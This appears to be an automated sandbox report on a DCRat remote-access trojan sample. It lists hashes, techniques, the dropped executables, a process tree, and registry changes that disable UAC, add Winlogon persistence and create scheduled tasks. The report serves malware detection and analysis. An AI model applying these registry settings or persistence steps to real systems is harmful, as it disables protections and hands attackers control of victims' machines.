dcrat | 08aa4060631117560cf52573bf8dd0c6aa2840a1ffbc281c1c7c39d381021a17

Analysis

max time kernel
58s
max time network
39s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
08/11/2026, 14:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
START.exe
Size 43.7MB
Sample261108-rkdtwsys7r
SHA256 08aa4060631117560cf52573bf8dd0c6aa2840a1ffbc281c1c7c39d381021a17
MD5 3a16bc1861af731abb7ef7412f092842
SHA1 d9d7435e5fcec5d9e1ac88a71967b335f1952235
SHA512 28444c64e0195b24bfe77b0054492c8bb9da1db0918de9e8d4dc62dc418375dd1e20b7e50ecdaf0d473651daf2f049ad521f0f78f829bea5398c2b1833945e90
SSDEEP 786432:plVXX0gIgKAmxIz3kQmbFc0JrTVMS7U1RF470Nl94WGe7qxqzaiwbfuMurn9j1vz:pXXEnpz43kVbFt3VMl1Ri+lAjxqzEbKg
TLSH
T136A7334C47BEFC89DA65C23DAAD1B98112DAFEB1039ED1ED4084E60241CFDB43B795A4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution dcrat infostealer persistence rat trojan

Malware Config

Signatures

Family: DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x000800000002447f-71.dat	dcrat
behavioral1/files/0x000900000002447f-93.dat	dcrat
behavioral1/memory/3972-94-0x00000000009F0000-0x0000000000B80000-memory.dmp	dcrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\Windows\\ru-RU\\system-starter.exe,"	ExploitEXE.exe

Process spawned unexpected child process 51 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	432	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3120	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4132	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5080	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2888	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1932	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3524	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2128	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1044	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2640	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3348	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	972	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4680	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4772	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2224	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	384	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4008	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	532	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	204	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	452	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2692	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5112	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1752	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1608	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2264	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4852	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3672	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4968	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1512	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	796	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1244	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4328	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2464	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3320	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1820	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1920	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4356	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1392	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4492	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4584	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4540	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	956	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2860	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	708	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1900	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4164	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3164	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4908	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	208	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	384	4064	schtasks.exe	90
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4968	4064	schtasks.exe	90

UAC bypass 3 TTPs 5 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	ExploitEXE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	ExploitEXE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ExploitEXE.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3224	powershell.exe
3320	powershell.exe
3848	powershell.exe
2532	powershell.exe
1244	powershell.exe
4328	powershell.exe
5044	powershell.exe
796	powershell.exe
4840	powershell.exe
5116	powershell.exe
2464	powershell.exe
2992	powershell.exe
2932	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Downloads MZ/PE file 1 IoCs

flow	pid	Process
11	2444	ExploitEXE.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	portagenthost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	START.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	ExploitEXE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	853813964.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	80394704.exe

Executes dropped EXE 22 IoCs

pid	Process
984	START001010011.exe
2444	ExploitEXE.exe
4640	853813964.exe
4900	80394704.exe
3972	portagenthost.exe
1692	WUDFHost.exe
4332	fontdrvhost.exe
3840	csrss.exe
5132	SearchApp.exe
5124	TextInputHost.exe
5376	TextInputHost.exe
5408	sppsvc.exe
5544	TextInputHost.exe
5524	conhost.exe
5944	services.exe
5980	conhost.exe
6344	Idle.exe
6352	MoUsoCoreWorker.exe
6376	Registry.exe
6360	dllhost.exe
6560	csrss.exe
6612	wininit.exe

Checks whether UAC is enabled 1 TTPs 8 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ExploitEXE.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WScript.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WScript.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WScript.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WScript.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WScript.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WScript.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WScript.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 8 IoCs

execution

Visual Basic

T1059.005

pid	Process
3428	WScript.exe
5072	WScript.exe
4340	WScript.exe
1428	WScript.exe
3288	WScript.exe
1060	WScript.exe
3944	WScript.exe
2468	WScript.exe

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral1/memory/3972-104-0x000000001B910000-0x000000001B91A000-memory.dmp	SmartAssembly

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Security\BrowserCore\conhost.exe	portagenthost.exe
File opened for modification	C:\Program Files\Windows Security\BrowserCore\conhost.exe	portagenthost.exe
File created	C:\Program Files\Windows Security\BrowserCore\088424020bedd6	portagenthost.exe
File created	C:\Program Files (x86)\Windows Mail\dllhost.exe	portagenthost.exe
File created	C:\Program Files (x86)\Windows Mail\5940a34987c991	portagenthost.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\TextInputHost.exe	portagenthost.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\22eafd247d37c3	portagenthost.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\0a1fd5f707cd16	portagenthost.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\sppsvc.exe	portagenthost.exe
File created	C:\Program Files\WindowsPowerShell\Modules\conhost.exe	portagenthost.exe
File created	C:\Program Files\WindowsPowerShell\Modules\088424020bedd6	portagenthost.exe
File created	C:\Program Files (x86)\Common Files\System\csrss.exe	portagenthost.exe
File created	C:\Program Files (x86)\Common Files\System\886983d96e3d3e	portagenthost.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\ru-RU\system-starter.exe	ExploitEXE.exe
File created	C:\Windows\Boot\Resources\de-DE\sppsvc.exe	portagenthost.exe
File created	C:\Windows\SchCache\wininit.exe	portagenthost.exe
File created	C:\Windows\SchCache\56085415360792	portagenthost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 16 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5040	cmd.exe
1064	cmd.exe
4888	cmd.exe
2592	cmd.exe
1672	cmd.exe
1260	cmd.exe
2584	cmd.exe
4124	cmd.exe
2672	cmd.exe
3576	cmd.exe
4592	cmd.exe
4612	cmd.exe
2716	cmd.exe
2824	cmd.exe
4412	cmd.exe
2628	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ExploitEXE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ExploitEXE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	portagenthost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	portagenthost.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	80394704.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

System Owner/User Discovery 1 TTPs
Attempt to identify the primary or current user.
discovery

System Owner/User Discovery
T1033

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings	853813964.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings	ExploitEXE.exe
Key created	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings	80394704.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
6196	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 51 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4328	schtasks.exe
2464	schtasks.exe
4356	schtasks.exe
2128	schtasks.exe
1752	schtasks.exe
796	schtasks.exe
1392	schtasks.exe
4492	schtasks.exe
3164	schtasks.exe
4968	schtasks.exe
4132	schtasks.exe
1932	schtasks.exe
4852	schtasks.exe
1820	schtasks.exe
4164	schtasks.exe
2640	schtasks.exe
1512	schtasks.exe
3320	schtasks.exe
4584	schtasks.exe
956	schtasks.exe
2860	schtasks.exe
1900	schtasks.exe
4772	schtasks.exe
384	schtasks.exe
4008	schtasks.exe
2692	schtasks.exe
384	schtasks.exe
2224	schtasks.exe
532	schtasks.exe
4968	schtasks.exe
1044	schtasks.exe
972	schtasks.exe
204	schtasks.exe
452	schtasks.exe
3672	schtasks.exe
1920	schtasks.exe
4540	schtasks.exe
708	schtasks.exe
432	schtasks.exe
3120	schtasks.exe
3348	schtasks.exe
4680	schtasks.exe
2264	schtasks.exe
1244	schtasks.exe
4908	schtasks.exe
208	schtasks.exe
5080	schtasks.exe
2888	schtasks.exe
3524	schtasks.exe
5112	schtasks.exe
1608	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
3972	portagenthost.exe
5044	powershell.exe
5044	powershell.exe
2932	powershell.exe
2932	powershell.exe
4328	powershell.exe
4328	powershell.exe
2992	powershell.exe
2992	powershell.exe
796	powershell.exe
796	powershell.exe
3320	powershell.exe
3320	powershell.exe
1244	powershell.exe
1244	powershell.exe
3848	powershell.exe
3848	powershell.exe
2532	powershell.exe
2532	powershell.exe
2464	powershell.exe
2464	powershell.exe
5116	powershell.exe
5116	powershell.exe
3224	powershell.exe
3224	powershell.exe
2932	powershell.exe
2932	powershell.exe
796	powershell.exe
796	powershell.exe
5044	powershell.exe
5044	powershell.exe
4328	powershell.exe
4328	powershell.exe
2992	powershell.exe
2992	powershell.exe
3320	powershell.exe
3320	powershell.exe
1244	powershell.exe
1244	powershell.exe
3848	powershell.exe
3848	powershell.exe
2532	powershell.exe
2532	powershell.exe
2464	powershell.exe
2464	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	452	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	1368	whoami.exe
Token: SeDebugPrivilege	2444	ExploitEXE.exe
Token: SeDebugPrivilege	4388	whoami.exe
Token: SeDebugPrivilege	4388	whoami.exe
Token: SeDebugPrivilege	4388	whoami.exe
Token: SeDebugPrivilege	4388	whoami.exe
Token: SeDebugPrivilege	4388	whoami.exe
Token: SeDebugPrivilege	4388	whoami.exe
Token: SeDebugPrivilege	4388	whoami.exe
Token: SeDebugPrivilege	4388	whoami.exe
Token: SeDebugPrivilege	4388	whoami.exe
Token: SeDebugPrivilege	4388	whoami.exe
Token: SeDebugPrivilege	4388	whoami.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1744 wrote to memory of 984	1744	START.exe	85
PID 1744 wrote to memory of 2444	1744	START.exe	88
PID 2444 wrote to memory of 4640	2444	ExploitEXE.exe	91
PID 4640 wrote to memory of 4340	4640	853813964.exe	92
PID 4340 wrote to memory of 2592	4340	WScript.exe	93
PID 2592 wrote to memory of 452	2592	cmd.exe	95
PID 2592 wrote to memory of 4344	2592	cmd.exe	96
PID 4340 wrote to memory of 1672	4340	WScript.exe	98
PID 1672 wrote to memory of 3792	1672	cmd.exe	100
PID 4340 wrote to memory of 4412	4340	WScript.exe	101
PID 4412 wrote to memory of 1368	4412	cmd.exe	103
PID 4412 wrote to memory of 3844	4412	cmd.exe	104
PID 2444 wrote to memory of 1428	2444	ExploitEXE.exe	107
PID 2444 wrote to memory of 3288	2444	ExploitEXE.exe	108
PID 2444 wrote to memory of 1060	2444	ExploitEXE.exe	109
PID 1428 wrote to memory of 4612	1428	WScript.exe	110
PID 2444 wrote to memory of 3944	2444	ExploitEXE.exe	112
PID 2444 wrote to memory of 2468	2444	ExploitEXE.exe	113
PID 3288 wrote to memory of 2628	3288	WScript.exe	114
PID 2444 wrote to memory of 3428	2444	ExploitEXE.exe	116
PID 1060 wrote to memory of 1260	1060	WScript.exe	117
PID 3944 wrote to memory of 2584	3944	WScript.exe	119
PID 4612 wrote to memory of 4388	4612	cmd.exe	121
PID 4612 wrote to memory of 2188	4612	cmd.exe	210
PID 2468 wrote to memory of 4124	2468	WScript.exe	123
PID 2444 wrote to memory of 4840	2444	ExploitEXE.exe	124
PID 3428 wrote to memory of 2672	3428	WScript.exe	127
PID 1260 wrote to memory of 2964	1260	cmd.exe	128
PID 1260 wrote to memory of 3524	1260	cmd.exe	168
PID 2584 wrote to memory of 3932	2584	cmd.exe	131
PID 2584 wrote to memory of 2580	2584	cmd.exe	132
PID 2628 wrote to memory of 4104	2628	cmd.exe	133
PID 2628 wrote to memory of 4784	2628	cmd.exe	134
PID 4124 wrote to memory of 4836	4124	cmd.exe	135
PID 4124 wrote to memory of 3160	4124	cmd.exe	136
PID 2672 wrote to memory of 4132	2672	cmd.exe	164
PID 2672 wrote to memory of 3880	2672	cmd.exe	138
PID 2444 wrote to memory of 4900	2444	ExploitEXE.exe	139
PID 4900 wrote to memory of 5072	4900	80394704.exe	140
PID 1428 wrote to memory of 2716	1428	WScript.exe	141
PID 3288 wrote to memory of 3576	3288	WScript.exe	143
PID 2716 wrote to memory of 4692	2716	cmd.exe	145
PID 5072 wrote to memory of 1064	5072	WScript.exe	146
PID 3576 wrote to memory of 2976	3576	cmd.exe	148
PID 1064 wrote to memory of 3972	1064	cmd.exe	149
PID 3428 wrote to memory of 4888	3428	WScript.exe	150
PID 2468 wrote to memory of 4592	2468	WScript.exe	152
PID 3944 wrote to memory of 5040	3944	WScript.exe	153
PID 1060 wrote to memory of 2824	1060	WScript.exe	156
PID 4888 wrote to memory of 4200	4888	cmd.exe	158
PID 4592 wrote to memory of 3184	4592	cmd.exe	159
PID 5040 wrote to memory of 3192	5040	cmd.exe	160
PID 2824 wrote to memory of 3596	2824	cmd.exe	161
PID 3972 wrote to memory of 2932	3972	portagenthost.exe	231
PID 3972 wrote to memory of 796	3972	portagenthost.exe	232
PID 3972 wrote to memory of 5044	3972	portagenthost.exe	233
PID 3972 wrote to memory of 2992	3972	portagenthost.exe	234
PID 3972 wrote to memory of 4328	3972	portagenthost.exe	235
PID 3972 wrote to memory of 1244	3972	portagenthost.exe	236
PID 3972 wrote to memory of 2532	3972	portagenthost.exe	237
PID 3972 wrote to memory of 3848	3972	portagenthost.exe	238
PID 3972 wrote to memory of 2464	3972	portagenthost.exe	239
PID 3972 wrote to memory of 5116	3972	portagenthost.exe	240
PID 3972 wrote to memory of 3320	3972	portagenthost.exe	241

System policy modification 1 TTPs 7 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	ExploitEXE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	ExploitEXE.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ExploitEXE.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\START.exe
"C:\Users\Admin\AppData\Local\Temp\START.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Users\Admin\AppData\Local\Temp\START001010011.exe
  "C:\Users\Admin\AppData\Local\Temp\START001010011.exe"
  2⤵
  - Executes dropped EXE
  PID:984
- C:\Users\Admin\AppData\Local\Temp\ExploitEXE.exe
  "C:\Users\Admin\AppData\Local\Temp\ExploitEXE.exe"
  2⤵
  - Modifies WinLogon for persistence
  - UAC bypass
  - Downloads MZ/PE file
  - Checks computer location settings
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Drops file in Windows directory
  - Reads the TCP/IP host and domain name from the registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2444
- - C:\Users\Admin\AppData\Local\Temp\853813964.exe
    "C:\Users\Admin\AppData\Local\Temp\853813964.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Odmkkbkpof.vbs"
      4⤵
      UAC bypass
      Checks computer location settings
      Checks whether UAC is enabled
      Executes a VBScript file via the Windows Script Host.
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:4340
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c whoami /groups | findstr /c:"S-1-16-12288"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2592
      - C:\Windows\system32\whoami.exe
        
        whoami /groups
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:452
